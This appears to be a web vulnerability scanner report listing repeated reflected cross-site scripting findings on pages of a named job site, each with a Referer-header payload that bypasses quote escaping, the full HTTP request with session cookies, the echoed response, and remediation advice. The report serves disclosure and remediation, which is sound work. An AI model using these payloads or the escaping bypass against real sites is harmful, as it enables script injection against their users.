<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - bcce7\\';alert(1)//9598df8cd85'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 31cf1\'%3balert(1)//319a1f8dbd9 was submitted in the Referer HTTP header. This input was echoed as 31cf1\\';alert(1)//319a1f8dbd9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Consulting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=31cf1\'%3balert(1)//319a1f8dbd9
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174910 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_consulting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR36 Date: Sun, 14 Nov 2010 23:16:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 31cf1\\';alert(1)//319a1f8dbd9'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33186\'%3balert(1)//aae926feec9 was submitted in the Referer HTTP header. This input was echoed as 33186\\';alert(1)//aae926feec9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Consulting.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=33186\'%3balert(1)//aae926feec9
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174798 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_consulting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR12 Date: Sun, 14 Nov 2010 22:57:44 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 33186\\';alert(1)//aae926feec9'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db50e\'%3balert(1)//163dd70bd93 was submitted in the Referer HTTP header. This input was echoed as db50e\\';alert(1)//163dd70bd93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_CostAccounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=db50e\'%3balert(1)//163dd70bd93
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174965 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_costaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR19 Date: Sun, 14 Nov 2010 23:25:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - db50e\\';alert(1)//163dd70bd93'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c0c5\'%3balert(1)//4d023b426f1 was submitted in the Referer HTTP header. This input was echoed as 1c0c5\\';alert(1)//4d023b426f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_CostAccounting.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=1c0c5\'%3balert(1)//4d023b426f1
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174964 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_costaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR11 Date: Sun, 14 Nov 2010 23:18:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 1c0c5\\';alert(1)//4d023b426f1'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e622\'%3balert(1)//15847bde122 was submitted in the Referer HTTP header. This input was echoed as 5e622\\';alert(1)//15847bde122 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Executive.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=5e622\'%3balert(1)//15847bde122
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174898 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_executive.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR33 Date: Sun, 14 Nov 2010 23:19:19 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 5e622\\';alert(1)//15847bde122'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c113\'%3balert(1)//a10bfebdfb8 was submitted in the Referer HTTP header. This input was echoed as 3c113\\';alert(1)//a10bfebdfb8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Executive.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=3c113\'%3balert(1)//a10bfebdfb8
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174679 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_executive.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR7 Date: Sun, 14 Nov 2010 23:25:13 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 3c113\\';alert(1)//a10bfebdfb8'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 14e00\'%3balert(1)//7496d02a115 was submitted in the Referer HTTP header. This input was echoed as 14e00\\';alert(1)//7496d02a115 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Management.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=14e00\'%3balert(1)//7496d02a115
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174942 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_management.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL10 Date: Sun, 14 Nov 2010 23:20:12 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 14e00\\';alert(1)//7496d02a115'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5f22\'%3balert(1)//74a8307aa4f was submitted in the Referer HTTP header. This input was echoed as b5f22\\';alert(1)//74a8307aa4f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Management.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=b5f22\'%3balert(1)//74a8307aa4f
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 175164 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_management.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR44 Date: Sun, 14 Nov 2010 23:26:10 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - b5f22\\';alert(1)//74a8307aa4f'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f717c\'%3balert(1)//431b53f18e was submitted in the Referer HTTP header. This input was echoed as f717c\\';alert(1)//431b53f18e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Payroll.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=f717c\'%3balert(1)//431b53f18e
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174812 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_payroll.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR32 Date: Sun, 14 Nov 2010 23:26:14 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - f717c\\';alert(1)//431b53f18e'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80589\'%3balert(1)//7e390f9d8e4 was submitted in the Referer HTTP header. This input was echoed as 80589\\';alert(1)//7e390f9d8e4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
